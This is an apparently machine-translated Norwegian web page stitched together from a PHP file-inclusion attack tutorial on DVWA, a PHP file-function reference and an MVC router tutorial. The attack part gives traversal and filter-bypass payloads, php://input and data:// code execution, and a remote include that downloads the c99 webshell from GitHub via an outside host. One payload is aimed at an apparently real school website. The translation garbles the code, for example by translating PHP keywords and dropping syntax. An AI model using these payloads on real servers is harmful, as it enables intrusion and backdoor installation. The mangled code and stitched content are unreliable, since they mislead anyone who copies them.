Fiktiv visning php-fil. Fil - Leser innholdet i en fil og legger den inn i en matrise. Arbeide med filer på serveren

Noen ganger kalles filinjeksjon inkludering, noen ganger betraktes det som en del av PHP-injeksjon (kodeinjeksjon). Det siste er ikke helt sant, siden filinjeksjonssårbarheter ikke nødvendigvis er relatert til kodekjøring.

Sårbarheten kan oppstå når du bruker (i PHP) uttrykk som:

  • kreve_en gang,
  • inkludere_en gang,
  • inkludere,
  • krever

Hver av dem har små nyanser, men felles for dem er at de inkluderer en fil i programmet og kjører den. Disse uttrykkene kan forårsake problemer hvis de passerer brukerinndata og programmet ikke filtrerer det ut nok.

Forresten, ja, dette er uttrykk, ikke funksjoner. Det er ikke nødvendig å skrive slik:

Require("somefile.php");

Et mer foretrukket alternativ er:

Krev "somefile.php";

Men dette er en retrett som ikke har noe med sårbarhet å gjøre.

Hvis filer er inkludert med uttrykkene require_once, include_once, include, require, så kan vi si at kodeinjeksjon også finner sted samtidig. Det er imidlertid mulig å inkludere filer uten kjørende kode på serveren. For eksempel endrer et nettsted utseende basert på brukerens valgte tema. Navnet på temaene tilsvarer navnet på HTML-filene som leses på serveren. I denne situasjonen, hvis forespørselen er dannet på en slik måte at den leser en fil som ikke er ment for dette (for eksempel en PHP-fil), vil PHP-kildekoden vises i stedet for å utføre kommandoer.

Brukeren kan spesifisere en ekstern eller lokal fil som inkluderingsfil. Basert på dette skilles to tilsvarende varianter ut:

  • lokal filinjeksjon
  • ekstern filinjeksjon

Faren for ekstern inkludering er kjøring av vilkårlig kode på en sårbar server. Dette brukes vanligvis for bakdørsinfeksjoner.

Faren ved lokal filinjeksjon er at brukeren kan vise innholdet i filer han ikke har rettigheter til å se (programkildekoder, systemfiler med innstillinger og passord). Med lokal inkludering er det også mulig å kjøre tredjepartskode (for eksempel for bakdørsinfeksjon), hvis en fil med ondsinnet kode tidligere ble lastet opp til serveren, eller loggforgiftningsmetoden ble brukt, eller noen andre metoder.

Lokal inkludering av filer er ikke mindre farlig enn introduksjonen av eksterne filer.

Utnyttelse av lokal filinnbygging

Du kan prøve deg på dette sikkerhetsproblemet i Damn Vulnerable Web Application (DVWA). Jeg bruker Web Security Dojo, der DVWA allerede er installert.

La oss starte på et lavt nivå (lav DVWA-sikkerhet).

La oss gå til siden for filinkludering http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Hvis en verdi som ligner på et filnavn (fil1.php, fil2.php) sendes som et argument til en variabel, kan vi anta at en include blir brukt. Siden filtypen er .php, blir filen mest sannsynlig utført på serveren (dvs. kodeinjeksjon er mulig) og ikke bare vist for visning.

DVWA har en side http://localhost/dvwa/about.php, den ligger to nivåer opp, la oss prøve å se den på denne måten: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ about.php

Ja, det er en lokal inkluderingssårbarhet. Når du går inn, filtreres ikke overganger til øvre kataloger (../); listen over filer for inkludering er ikke uttømmende (i stedet for den foreslåtte filen*.php, valgte vi about.php).

Noen ganger brukes inkluderte filer, men adressene kan for eksempel se slik ut: http://localhost/dvwa/vulnerabilities/fi/?page=file1. I dette tilfellet kan en utvidelse legges til skriptet og skriptet bygger inn en fil hvis navn til slutt dannes i skriptet. Vanligvis er en sårbarhet i denne formen vanskelig/umulig å utnytte.

Ofte liker folk å gi noe slikt som et eksempel på å utnytte lokal filinkludering:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Som vi kan se, fungerte det. Men siden nettlesere ignorerer /r/n (nylinjetegn), må vi åpne kildekoden for å gjøre oppføringene lesbare:

Dessverre er det ingen passord i filen /etc/passwd på lenge.

Fra serveren kan du hente ulike innstillingsfiler, SSL-sertifikater, i prinsippet enhver fil som er åpen for lesing av alle brukere eller som webserveren har tilstrekkelige rettigheter til å lese:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Når det gjelder delte hostinger, er det noen ganger mulig å se inn i andres mapper (igjen, hvis brukerrettighetene er feil konfigurert).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Oppgaven kompliseres av det faktum at vi trenger å vite banen til filen.

Drift av ekstern filinjeksjon

PHP er et veldig fleksibelt og utviklervennlig programmeringsspråk. Filinnbyggingskommandoer og noen andre gjenkjenner perfekt og behandler ikke bare lokale filer, men også URL-er...

La oss prøve å skrive nettstedets URL https://site/ i stedet for filnavnet:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Se hvor interessant det viser seg:

Følgende skjedde: PHP-tolken mottok en kommando om å inkludere filen/nettstedet https://site/. Han åpnet/lastet ned den tilsvarende adressen og sendte den resulterende koden for å bli utført som et PHP-program. Siden PHP bare kjører koden omgitt av de riktige taggene (i dette tilfellet var det ingen kode i det hele tatt) og gir ut alt annet som det er, blir hele nettsiden sendt ut som den er.

Selvfølgelig er denne sårbarheten interessant for oss, ikke fordi vi kan se andre nettsteder gjennom ett nettsted.

  • Generere/finne bakdørens kildekode
  • Vi lager en fil som er korrekt fra et PHP-synspunkt for kjøring på serveren, som lagrer bakdørskildekoden i en PHP-fil
  • Lagre den mottatte koden i en TEKST-fil
  • Last opp denne tekstfilen til en kontrollert server
  • Vi lagrer bakdøren vår på en sårbar server ved å bruke en ekstern filinkludering
  • Jeg fremhevet ordet "tekst" av den grunn at på serveren under vår kontroll skal det være en tekstfil som ikke skal kjøres på serveren vår. Serveren vår trenger bare å vise innholdet.

    For å lage en bakdør kan du bruke Weevely, PhpSploit, eller du kan ta ferdige løsninger. La oss bruke en ferdig denne gangen.

    Jeg vil tilordne $backdoor-variabelen kildekoden til bakdøren, som jeg laster ned fra Github. Deretter bruker jeg file_put_contents-funksjonen for å lagre den resulterende kildekoden i c99unlimited.php-filen.

    Koden har jeg plassert i en tekstfil

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); ekko "ferdig!";

    Den er tilgjengelig på http://miloserdov.org/sec.txt

    Nå, ved å bruke en fjernkontroll, laster vi opp en bakdør til en sårbar server.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Vær oppmerksom på inskripsjonen ferdig!, den vises av manuset, dvs. alt ordnet seg nok.

    Siden skriptet som inkluderer filene ligger i katalogen http://localhost/dvwa/vulnerabilities/fi/, og vår nye fil med bakdøren burde vært lagret med navnet c99unlimited.php, er den fullstendige adressen til bakdøren på den sårbare serveren skal være: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Vi sjekker:

    Flott, nå har vi alle funksjonene en webserveradministrator kan trenge... og de som har tilgang til serveren deres.

    Omgå filtrering når du inkluderer filer lokalt

    La oss gå videre til middels sikkerhetsnivå (kan konfigureres i DVWA Security).

    Hvis vi ser på kildekoden (Vis kilde-knappen):

    da vil vi se at ../-tegnene nå er filtrert. Dette vil hindre oss i å flytte til en katalog høyere enn den der det sårbare skriptet kjører.

    De. ingenting vil fungere slik:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    La oss tenke på hvordan filtrering fungerer i dette tilfellet? La oss si at ordet "dårlig" er filtrert, så en linje som

    god dårlig god

    etter filtrering vil det se slik ut:

    bra bra

    Og hvis du setter inn en linje som denne

    dårlig dårlig xo

    så etter filtrering (det "dårlige" vil bli fjernet) vil det vise seg

    Dårlig

    I ../ setter vi inn ../ i midten igjen, viser det seg ..././

    La oss prøve denne adressen http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / min.cnf

    Det funket!

    En annen løsning kan være å kode tegn til heksadesimal koding, et eksempel på denne linjen:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" kan erstattes med "%2E%2E%2f".

    Dobbel hex-koding praktiseres også, der "../" er erstattet med "%252E%252E%252F"

    Lokal inkludering av filer når du legger til en utvidelse i et skript

    Hvis koden inkludert filer ser slik ut:

    De. Hvis en .php eller en annen utvidelse legges til noen brukerinndata, tillater ikke dette at forespørselen blir dannet på en slik måte at den utfører et angrep.

    Det er flere teknikker som er designet for å forkaste utvidelsen, men de kan anses som foreldet siden de fungerer på PHP 5.3, og selv da ikke alle versjoner. Nettserveradministratorer er imidlertid klinisk konservative og foretrekker å ikke røre noe hvis det fungerer. De. Det er en sjanse for å møte en server med en veldig gammel versjon av PHP, og du bør være klar over disse teknikkene.

    Bruke nullbyte %00 (nullbyte)

    En nullbyte legges til på slutten av forespørselen for å ignorere utvidelsen:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Den andre metoden kalles et banebeskjæringsangrep. Poenget er at PHP avkorter stier som er lengre enn 4096 byte. I dette tilfellet åpner PHP filen riktig, selv om det er skråstreker og prikker på slutten av navnet. Hvis du sender som en parameter noe sånt som?param1=../../../../etc/passwd/./././././ (hvor ./ gjentas mange tusen ganger), så sluttfilen sammen med utvidelsen (som skriptet la til, som et resultat av at filnavnet ble inkluderer/../../../../etc/passwd/./././././ .php) vil bli forkastet. Og filnavnet vil være include/../../../../etc/passwd/./././././. Og siden PHP ikke forveksles av etterfølgende skråstreker og ./ på slutten av filen, ignorerer den dem ganske enkelt, totalt vil PHP åpne filen langs banen inkluderer/../../../../etc/ passwd.

    Omgå filtrering for ekstern filinjeksjon

    Som vi allerede så i kildekoden, filtrerer middels sikkerhetsnivå også http:// og https:// ut.

    Nå http://localhost/dvwa/vulnerabilities/fi/?. Vi vil bruke nøyaktig samme teknikk som å omgå filtrering med lokal inkludering. Generert forespørsel:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    Og merk også at det ikke er filtrert, for eksempel ftp, dvs. Dette alternativet ville fungere uten noen triks i det hele tatt:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Innhenting av kildekoden til PHP-skript når du inkluderer filer fra php://filter

    Dette trikset krever ikke ekstern filinkludering. En slags meta wrapper php://filter vil bli brukt.

    La oss si at vi ønsker å se kildekoden til filen file1.php, så for vår situasjon vil forespørselen være sammensatt slik:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Vær oppmerksom på den meningsløse strengen med bokstaver og tall - dette er kildekoden til filen file1.php i base64-koding. Siden det er base64, støttes også binære filer.

    La oss dekode filen:

    Ekstern kjøring av kode med php://input

    Dette er ikke som innbygging av filer og krever ikke at du laster opp filer.

    For å hjelpe vil jeg bruke FireFox-utvidelsen, du kan også bruke den eller et hvilket som helst annet program (for eksempel curl) som kan overføre data ved hjelp av POST-metoden.

    php://input har tilgang til råteksten til HTTP-forespørselen, for å forstå hva include("php://input") gjør, åpne siden

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    Og i hoveddelen av forespørselen, send riktig PHP-kode (for eksempel ved å bruke POST-metoden). Dette vil tillate deg å utføre alle funksjoner som er tillatt på den eksterne serveren!

    Ekstern kodekjøring med data://

    I tillegg støtter PHP data:// URL-skjemaet. Du kan plassere koden direkte i GET-parameteren! Følgende test krever ingen spesielle verktøy, bare en vanlig nettleser for å utføre angrepet.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Noen nettapplikasjonsbrannmurer kan legge merke til en mistenkelig streng i en URL og blokkere den ondsinnede forespørselen. Men det er en måte å kryptere strengen med minst base64-koding:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Utfør vilkårlige kommandoer fra /proc/self/environ

    /proc/self/environ er prosessvariabellagringen. Hvis Apache-prosessen har tilstrekkelige rettigheter til å få tilgang til den, når du åpner en nettside som inneholder en inkludering med en lignende URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    vil gi ut noe sånt som

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; no) Presto/2.2.15 Versjon/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index..ph? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [e-postbeskyttet] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Vær oppmerksom på HTTP_USER_AGENT. I stedet kan du erstatte den riktige PHP-koden, som vil bli utført på en ekstern server.

    Etsing og injeksjon av logger ved inkludert filer lokalt

    Dessverre fungerer ikke denne metoden lenger på nyere versjoner av Apache.

    Essensen ligger i det faktum at angriperens kode injiseres i webserverloggene. Dette kan gjøres ved å erstatte User-Agent , eller til og med ganske enkelt sende det inn i en GET-parameter.

    Statisk injeksjon av en ekstern fil

    Eksempel på statikk inkluderer:

    Du kan bruke en statisk inkludering i svært eksotiske situasjoner. For å injisere ondsinnet kode, er det nødvendig å utføre et mann-i-midten-angrep mellom to servere: den ene er vert for nettapplikasjonen som bruker include, og den andre er vert for filen som ble brukt for inkluderingen.

    PHP file_exists("test.txt")//Eksisterer filen? filesize("test.txt");//Finn ut filstørrelsen //Tidsstempelet returneres: fileatime("test.txt");//Dato for siste tilgang til filen //date("d M Y" , $atime); filemtime("test.txt");//Dato for filendring //date("d M Y", $mtime); filectime("test.txt");//Dato for filoppretting (Windows) //date("d M Y", $ctime); Filer: driftsmoduser PHP-ressurs fopen (strengfilnavn, strengmodus) // ressurs - returnerer en peker til filen i tilfelle suksess, eller FALSE i tilfelle feil Driftsmodus Beskrivelser r+ w w+ EN a+ b
    åpen fil skrivebeskyttet;
    åpne filen for lesing og skriving;
    åpne filen kun for skriving. Hvis den eksisterer, blir det gjeldende innholdet i filen ødelagt. Gjeldende posisjon er satt til begynnelsen;
    åpne filen for lesing og skriving. Hvis den eksisterer, blir det gjeldende innholdet i filen ødelagt. Gjeldende posisjon er satt til begynnelsen;
    åpne filen for skriving. Gjeldende posisjon er satt til slutten av filen;
    åpne filen for lesing og skriving. Gjeldende posisjon er satt til slutten av filen;
    behandle den binære filen. Dette flagget kreves når du arbeider med binære filer på Windows.
    Åpning og lukking av filer i PHP PHP $fi = fopen("test.html", "w+") eller die("Feil"); //Eksempler $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Lukk fclose($fi) Lese filer i PHP PHP //Lese filen fread(int fi, int lengde) $str = fread($fi, 5); // Les de første 5 tegnene echo $str; // siden markøren har flyttet $str = fread($fi, 12); // Les de neste 12 tegnene echo $str; fgets(int fi[, int lengde]) // Les en linje fra en fil fgetss(int fi, int lengde [, streng tillatt]) // Les en linje fra en fil og forkast HTML-koder // streng tillatt - tagger som må stå igjen fgetc(int fi) //Leser et tegn fra en fil

    Til å begynne med vil skrivingen skje i begynnelsen av filen, ved å overskrive eksisterende data, hvis noen. Derfor, hvis du trenger å skrive noe til slutten av filen, må du stille inn riktig lesemodus, for eksempel a+ .

    Manipulere markøren i PHP-filer PHP int fseek(int fi, int offset [, int wherece]) //Sett inn markøren // int fi - peker til filen //offset - antall tegn som skal flyttes. //hvor: //SEEK_SET - bevegelse starter fra begynnelsen av filen; //SEEK_CUR - bevegelse starter fra gjeldende posisjon; //SEEK_END - bevegelse starter fra slutten av filen. fseek($fi, -10, SEEK_END); //Les de siste 10 tegnene $s = fread($fi, 10); $pos = ftell($fi); // Finn ut gjeldende posisjon spole tilbake($f) // tilbakestill markøren bool feof($f) // slutten av filen Direkte arbeid med filer (data) i PHP PHP array fil(streng filnavn) // Hent innholdet av filen i form av en array // Et annet alternativ for direkte arbeid med data file_get_contents(streng filnavn) //Lesing (vi får hele filen på én linje) //Skriv til filen (opprinnelig overskrevet) file_put_contents(streng filnavn , blandede data[,int flagg]); //FILE_APPEND // Skriv til slutten av filen: file_put_contents("test.txt", "data", FILE_APPEND); //Hvis du skriver en array, $array = array("I", "live"); file_put_contents("test.txt",$array); //da får vi "Ilive" Behandle filer i php PHP copy(strengkilde, strengdestinasjon); // Kopiering av filen rename(str oldname, str newname); // Gi nytt navn til filen unlink (streng filnavn); // Slette en fil Laste opp filer til PHP-serveren // PHP.ini-innstillinger file_uploads (på|av) // tillate eller deaktivere filopplasting upload_tmp_dir // midlertidig mappe for opplastede filer. som standard midlertidig mappe upload_max_filesize (standard = 2 Mb) // maks. størrelsen på den opplastede filen post_max_size // total størrelse på skjemaet som sendes (må være større enn upload_max_filesize) //Enkel HTML-opplasting Vi jobber med filer på PHP-serveren //Motta data $tmp = $_FILES["brukerfil"][" tmp_name"]; $navn = $_FILES["brukerfil"]["navn"]; //Flytt filen move_uploaded_file($tmp, navn); move_uploaded_file($tmp, "upload/".navn); // omdirigere filen til opplastingsmappen // i forhold til gjeldende fil // Hva er i $_FILES-matrisen $_FILES["brukerfil"]["navn"] // filnavn, for eksempel test.html $_FILES[ "userfile"][" tmp_name"] // midlertidig filnavn (bane) $_FILES["brukerfil"]["size"] // filstørrelse $_FILES["brukerfil"]["type"] // filtype $ _FILES["brukerfil"] ["feil"] // 0 - ingen feil, antall - ja Mange begynner å skrive et prosjekt for å jobbe med en enkelt oppgave, uten å antyde at det kan vokse til et flerbrukeradministrasjonssystem, for eksempel , innhold eller, gud forby, produksjon. Og alt virker flott og kult, alt fungerer, helt til du begynner å forstå at koden som er skrevet utelukkende består av krykker og hard kode. Koden er blandet med layout, spørringer og krykker, noen ganger til og med uleselig. Et presserende problem oppstår: når du legger til nye funksjoner, må du tukle med denne koden i veldig lang tid, og huske "hva ble skrevet der?" og forbanne deg selv i fortiden.

    Du har kanskje til og med hørt om designmønstre og til og med bladd gjennom disse fantastiske bøkene:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides “Objektorienterte designteknikker. Designmønstre";
    • M. Fowler "Arkitektur av Enterprise Software Applications."
    Og mange, uforskammet av de enorme manualene og dokumentasjonen, prøvde å studere et hvilket som helst av de moderne rammeverkene og, stilt overfor kompleksiteten i forståelsen (på grunn av tilstedeværelsen av mange arkitektoniske konsepter som er smart sammenkoblet), utsetter studiet og bruken av moderne verktøy i et "ly".

    Denne artikkelen vil først og fremst være nyttig for nybegynnere. Uansett håper jeg at du i løpet av et par timer vil kunne få en ide om implementeringen av MVC-mønsteret, som ligger til grunn for alle moderne nettrammeverk, og også få "mat" for videre refleksjon om "hvordan gjør det." På slutten av artikkelen er det et utvalg nyttige lenker som også vil hjelpe deg å forstå hva nettrammeverk består av (foruten MVC) og hvordan de fungerer.

    Erfarne PHP-programmerere finner neppe noe nytt for seg selv i denne artikkelen, men deres kommentarer og kommentarer til hovedteksten vil være veldig nyttige! Fordi Uten teori er praksis umulig, og uten praksis er teori ubrukelig, så først blir det litt teori, og så går vi videre til praksis. Hvis du allerede er kjent med MVC-konseptet, kan du hoppe over teoridelen og gå rett til praksisen.

    1. Teori MVC-mønsteret beskriver en enkel måte å strukturere en applikasjon på, hvis formål er å skille forretningslogikk fra brukergrensesnittet. Som et resultat er applikasjonen enklere å skalere, teste, vedlikeholde og selvfølgelig implementere.

    La oss se på det konseptuelle diagrammet av MVC-mønsteret (etter min mening er dette det mest vellykkede diagrammet jeg har sett):

    I MVC-arkitektur gir modellen data- og forretningslogikkreglene, visningen er ansvarlig for brukergrensesnittet, og kontrolleren gir interaksjon mellom modellen og visningen.

    En typisk flyt av en MVC-applikasjon kan beskrives som følger:

  • Når en bruker besøker en nettressurs, oppretter initialiseringsskriptet en forekomst av applikasjonen og starter den for kjøring.
    Dette viser en visning av for eksempel hovedsiden til nettstedet.
  • Applikasjonen mottar en forespørsel fra brukeren og bestemmer forespurt kontroller og handling. Når det gjelder hovedsiden, utføres standardhandlingen ( indeks).
  • Applikasjonen instansierer kontrolleren og kjører handlingsmetoden,
    som for eksempel inneholder modellanrop som leser informasjon fra databasen.
  • Etter dette oppretter handlingen en visning med data hentet fra modellen og viser resultatet til brukeren.
  • Modell - inneholder forretningslogikken til applikasjonen og inkluderer metoder for henting (disse kan være ORM-metoder), behandling (for eksempel valideringsregler) og å gi spesifikke data, noe som ofte gjør den veldig tykk, noe som er ganske normalt.
    Modellen skal ikke samhandle direkte med brukeren. Alle variabler knyttet til brukerforespørselen må behandles i kontrolleren.
    Modellen skal ikke generere HTML eller annen visningskode som kan endres avhengig av brukerens behov. Slik kode bør behandles i visninger.
    Den samme modellen, for eksempel: brukerautentiseringsmodellen kan brukes i både bruker- og administrative deler av applikasjonen. I dette tilfellet kan du flytte den generelle koden til en egen klasse og arve fra den, og definere underapplikasjonsspesifikke metoder i dens etterkommere.

    View - brukes til å spesifisere ekstern visning av data mottatt fra kontrolleren og modellen.
    Visninger inneholder HTML-markering og små innsettinger av PHP-kode for å krysse, formatere og vise data.
    Skal ikke ha direkte tilgang til databasen. Dette er hva modeller bør gjøre.
    Bør ikke fungere med data hentet fra en brukerforespørsel. Denne oppgaven må utføres av kontrolløren.
    Kan få direkte tilgang til egenskaper og metoder for en kontroller eller modeller for å få utdataklare data.
    Visninger er vanligvis delt inn i en felles mal, som inneholder markeringer som er felles for alle sider (for eksempel en topp- og bunntekst) og deler av malen som brukes til å vise data fra modellen eller vise dataregistreringsskjemaer.

    Kontrolleren er limet som kobler modeller, visninger og andre komponenter til en fungerende applikasjon. Behandlingsansvarlig er ansvarlig for å behandle brukerforespørsler. Kontrolleren skal ikke inneholde SQL-spørringer. Det er bedre å holde dem i modeller. Kontrolleren skal ikke inneholde HTML eller annen markering. Det er verdt å få det til syne.
    I en godt utformet MVC-applikasjon er kontroller vanligvis veldig tynne og inneholder bare noen få dusin linjer med kode. Det samme kan ikke sies om Stupid Fat Controllers (SFC) i CMS Joomla. Kontrollerlogikken er ganske typisk og det meste overføres til basisklasser.
    Modeller, tvert imot, er veldig tykke og inneholder det meste av koden knyttet til databehandling, fordi datastrukturen og forretningslogikken i den er vanligvis ganske spesifikk for en bestemt applikasjon.

    1.1. Frontkontroller og sidekontrollerI de fleste tilfeller skjer brukerinteraksjon med en nettapplikasjon ved å klikke på lenker. Se nå på adressefeltet til nettleseren din - du mottok denne teksten fra denne lenken. Andre lenker, for eksempel de på høyre side av denne siden, vil gi deg annet innhold. Dermed representerer lenken en spesifikk kommando til nettapplikasjonen.

    Jeg håper du allerede har lagt merke til at forskjellige nettsteder kan ha helt forskjellige formater for å konstruere adressefeltet. Hvert format kan vise arkitekturen til en nettapplikasjon. Selv om dette ikke alltid er tilfelle, er det i de fleste tilfeller et klart faktum.

    La oss vurdere to alternativer for adressefeltet, som viser litt tekst og en brukerprofil.

    Første alternativ:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Her er hvert skript ansvarlig for å utføre en bestemt kommando.

    Andre alternativ:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • Og her forekommer alle kall i ett index.php-skript.

    Du kan se multi-touchpoint-tilnærmingen på phpBB-foraene. Forumet vises gjennom viewforum.php-skriptet, emnet vises gjennom viewtopic.php, etc. Den andre tilnærmingen, som er tilgjengelig gjennom en enkelt fysisk skriptfil, kan sees i min favoritt CMS MODX, der alle anrop går gjennom index.php.

    Disse to tilnærmingene er helt forskjellige. Den første er typisk for Page Controller-mønsteret, og den andre tilnærmingen er implementert av Front Controller-mønsteret. Sidekontrolleren er bra for nettsteder med ganske enkel logikk. På sin side konsoliderer forespørselskontrolleren alle forespørselsbehandlingsaktiviteter på ett sted, noe som gir den ekstra muligheter som kan tillate deg å implementere mer komplekse oppgaver enn det som vanligvis løses av sidekontrolleren. Jeg vil ikke gå inn på detaljer rundt implementeringen av sidekontrolleren, men vil kun si at i den praktiske delen vil det være forespørselskontrolleren (noe lignende) som skal utvikles.

    1.2. URL-ruting URL-ruting lar deg konfigurere applikasjonen til å akseptere forespørsler fra URL-er som ikke samsvarer med faktiske applikasjonsfiler, og å bruke CNC-er som er semantisk meningsfulle for brukere og foretrukket for søkemotoroptimalisering.

    For en vanlig side som viser et kontaktskjema, kan URL-en for eksempel se slik ut:
    http://www.example.com/contacts.php?action=feedback

    Omtrentlig behandlingskode i dette tilfellet:
    switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // "Om oss" sideskift ; case "contacts" : require_once ("contacts.php" ); // side "Kontakter" break ; case "feedback" : require_once ("feedback.php" ); // side "Feedback" break ; standard : require_once ("page404.php" ); // side "404" break ; )
    Jeg tror nesten alle har gjort dette før.

    Ved å bruke en URL-rutingsmotor kan du konfigurere applikasjonen din til å godta forespørsler som dette for å vise den samme informasjonen:
    http://www.example.com/contacts/feedback

    Her representerer kontakter kontrolleren, og tilbakemelding er kontaktkontrollermetoden som viser tilbakemeldingsskjemaet osv. Vi kommer tilbake til denne problemstillingen i den praktiske delen.

    Det er også verdt å vite at mange nettrammeverks rutere lar deg lage egendefinerte URL-ruter (spesifiser hva hver del av URL-en betyr) og regler for behandling av dem.
    Nå har vi tilstrekkelig teoretisk kunnskap til å gå videre til praksis.

    2. Øv La oss først lage følgende fil- og mappestruktur:


    Ser jeg fremover vil jeg si at kjerneklassene Model, View og Controller vil bli lagret i kjernemappen.
    Barna deres vil bli lagret i kontrollerene, modellene og visningskatalogene. index.php-filen er inngangspunktet til applikasjonen. Bootstrap.php-filen starter lasting av applikasjonen, kobler til alle nødvendige moduler osv.

    Vi vil gå sekvensielt; La oss åpne index.php-filen og fyll den med følgende kode:
    ini_set("display_errors" , 1 ); require_once "application/bootstrap.php" ;
    Det burde ikke være noen spørsmål her.

    Deretter går vi umiddelbart til bootstrap.php-filen:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Rute::start(); //start ruteren
    De tre første linjene vil inkludere for øyeblikket ikke-eksisterende kjernefiler. De siste linjene inkluderer filen med ruterklassen og start den for kjøring ved å kalle den statiske startmetoden.

    2.1. Implementering av en URL-ruter For nå, la oss avvike fra implementeringen av MVC-mønsteret og fokusere på ruting. Det første trinnet vi må gjøre er å skrive følgende kode i .htaccess:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Denne koden vil omdirigere all sidebehandling til index.php, som er det vi trenger. Husker du i den første delen vi snakket om Front Controller?!

    Vi vil plassere rutingen i en egen fil route.php i kjernekatalogen. I denne filen vil vi beskrive ruteklassen, som vil kjøre kontrollermetoder, som igjen vil generere sidevisningen.

    Innholdet i route.php-filen

    klasse Rute ( statisk funksjon start () ( // kontroller og standard handling $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // få kontrollerenavnet if (!empty ($ruter )) ( $kontrollernavn = $ruter ; ) // få handlingsnavnet hvis (!empty ($ruter )) ( $handlingsnavn = $ruter ; ) // legg til prefikser $modellnavn = " Model_" .$controller_name ; $controller_name = "Kontroller_" .$controller_name ; $action_name = "action_" .$action_name ; // koble opp filen med modellklassen (det er kanskje ikke en modellfil) $model_file = strtolower ($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) (inkluder "application/models/" .$model_file ; ) // koble til filen med kontrollerklassen $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) (inkluder "application/controllers/" .$controller_file ; ) else ( /* det ville være riktig å kaste et unntak her, men for å forenkle ting, vil vi umiddelbart omdirigere til 404-siden */ Route::ErrorPage404(); ) // lage en kontroller $controller = new $controller_name ; $action = $handlingsnavn ; if (method_exists($controller, $action )) ( // kaller kontrollerhandlingen $controller ->$action (); ) else ( // her vil det også være klokere å kaste et unntak Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 ikke funnet" ); header("Status: 404 ikke funnet") ; header(" Sted:" .$vert ."404" ); ) )


    Jeg legger merke til at klassen implementerer veldig forenklet logikk (til tross for den omfangsrike koden) og kan til og med ha sikkerhetsproblemer. Dette ble gjort med vilje, fordi... å skrive en fullverdig rutingsklasse fortjener minst en egen artikkel. La oss se på hovedpunktene...

    Det globale array-elementet $_SERVER["REQUEST_URI"] inneholder hele adressen som brukeren kontaktet.
    For eksempel: example.ru/contacts/feedback

    Bruker funksjonen eksplodere Adressen er delt inn i komponenter. Som et resultat får vi navnet på kontrolleren, for eksempelet som er gitt, er dette kontrolleren kontakter og navnet på handlingen, i vårt tilfelle - tilbakemelding.

    Deretter kobles modellfilen (modellen kan mangle) og kontrollerfilen, hvis noen, og til slutt opprettes en forekomst av kontrolleren og handlingen kalles igjen hvis den ble beskrevet i kontrollerklassen.

    Når du for eksempel går til adressen:
    example.com/portefølje
    eller
    example.com/portefølje/indeks
    Ruteren vil utføre følgende handlinger:

  • vil inkludere model_portfolio.php-filen fra models-mappen, som inneholder Model_Portfolio-klassen;
  • vil inkludere controller_portfolio.php-filen fra controllers-mappen, som inneholder Controller_Portfolio-klassen;
